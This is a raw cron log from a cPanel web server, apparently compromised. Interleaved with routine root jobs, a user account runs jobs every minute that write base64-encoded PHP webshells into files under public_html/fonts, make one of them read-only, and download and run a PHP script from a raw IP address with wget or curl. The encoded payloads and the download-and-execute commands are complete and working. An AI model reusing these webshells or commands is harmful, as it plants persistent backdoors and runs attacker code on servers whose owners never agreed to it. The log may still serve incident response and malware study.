Sep  3 09:35:01 ip-184-168-122-23 CROND[12721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12726]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12728]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12729]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:35:01 ip-184-168-122-23 CROND[12731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:36:01 ip-184-168-122-23 CROND[12845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:36:01 ip-184-168-122-23 CROND[12849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:36:01 ip-184-168-122-23 CROND[12848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:36:01 ip-184-168-122-23 CROND[12850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:36:01 ip-184-168-122-23 CROND[12847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:37:01 ip-184-168-122-23 CROND[13065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:37:01 ip-184-168-122-23 CROND[13066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:37:01 ip-184-168-122-23 CROND[13067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:37:01 ip-184-168-122-23 CROND[13064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:38:01 ip-184-168-122-23 CROND[13146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:38:01 ip-184-168-122-23 CROND[13147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:38:01 ip-184-168-122-23 CROND[13149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:38:01 ip-184-168-122-23 CROND[13151]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:38:01 ip-184-168-122-23 CROND[13150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:39:01 ip-184-168-122-23 CROND[13258]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 09:39:01 ip-184-168-122-23 CROND[13261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:39:01 ip-184-168-122-23 CROND[13262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:39:01 ip-184-168-122-23 CROND[13260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:39:01 ip-184-168-122-23 CROND[13263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:40:01 ip-184-168-122-23 CROND[13453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:40:02 ip-184-168-122-23 CROND[13455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:40:02 ip-184-168-122-23 CROND[13456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:40:02 ip-184-168-122-23 CROND[13457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:40:02 ip-184-168-122-23 CROND[13458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:40:02 ip-184-168-122-23 CROND[13460]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 09:40:02 ip-184-168-122-23 CROND[13459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:40:02 ip-184-168-122-23 CROND[13461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:41:01 ip-184-168-122-23 CROND[13567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:41:01 ip-184-168-122-23 CROND[13570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:41:01 ip-184-168-122-23 CROND[13571]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:41:01 ip-184-168-122-23 CROND[13569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:42:01 ip-184-168-122-23 CROND[13671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:42:01 ip-184-168-122-23 CROND[13672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:42:01 ip-184-168-122-23 CROND[13677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:42:01 ip-184-168-122-23 CROND[13678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:42:01 ip-184-168-122-23 CROND[13679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:43:01 ip-184-168-122-23 CROND[13762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:43:01 ip-184-168-122-23 CROND[13763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:43:01 ip-184-168-122-23 CROND[13764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:43:01 ip-184-168-122-23 CROND[13766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:44:01 ip-184-168-122-23 CROND[13869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:44:01 ip-184-168-122-23 CROND[13873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:44:01 ip-184-168-122-23 CROND[13871]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:44:01 ip-184-168-122-23 CROND[13875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:44:01 ip-184-168-122-23 CROND[13872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:45:01 ip-184-168-122-23 CROND[14065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:45:01 ip-184-168-122-23 CROND[14066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 09:45:01 ip-184-168-122-23 CROND[14068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:45:01 ip-184-168-122-23 CROND[14069]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 09:45:01 ip-184-168-122-23 CROND[14070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:45:01 ip-184-168-122-23 CROND[14072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:46:01 ip-184-168-122-23 CROND[14177]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 09:46:01 ip-184-168-122-23 CROND[14178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 09:46:01 ip-184-168-122-23 CROND[14181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 09:46:01 ip-184-168-122-23 CROND[14183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 09:46:01 ip-184-168-122-23 CROND[14184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 09:46:01 ip-184-168-122-23 CROND[14182]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 09:46:01 ip-184-168-122-23 CROND[14185]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
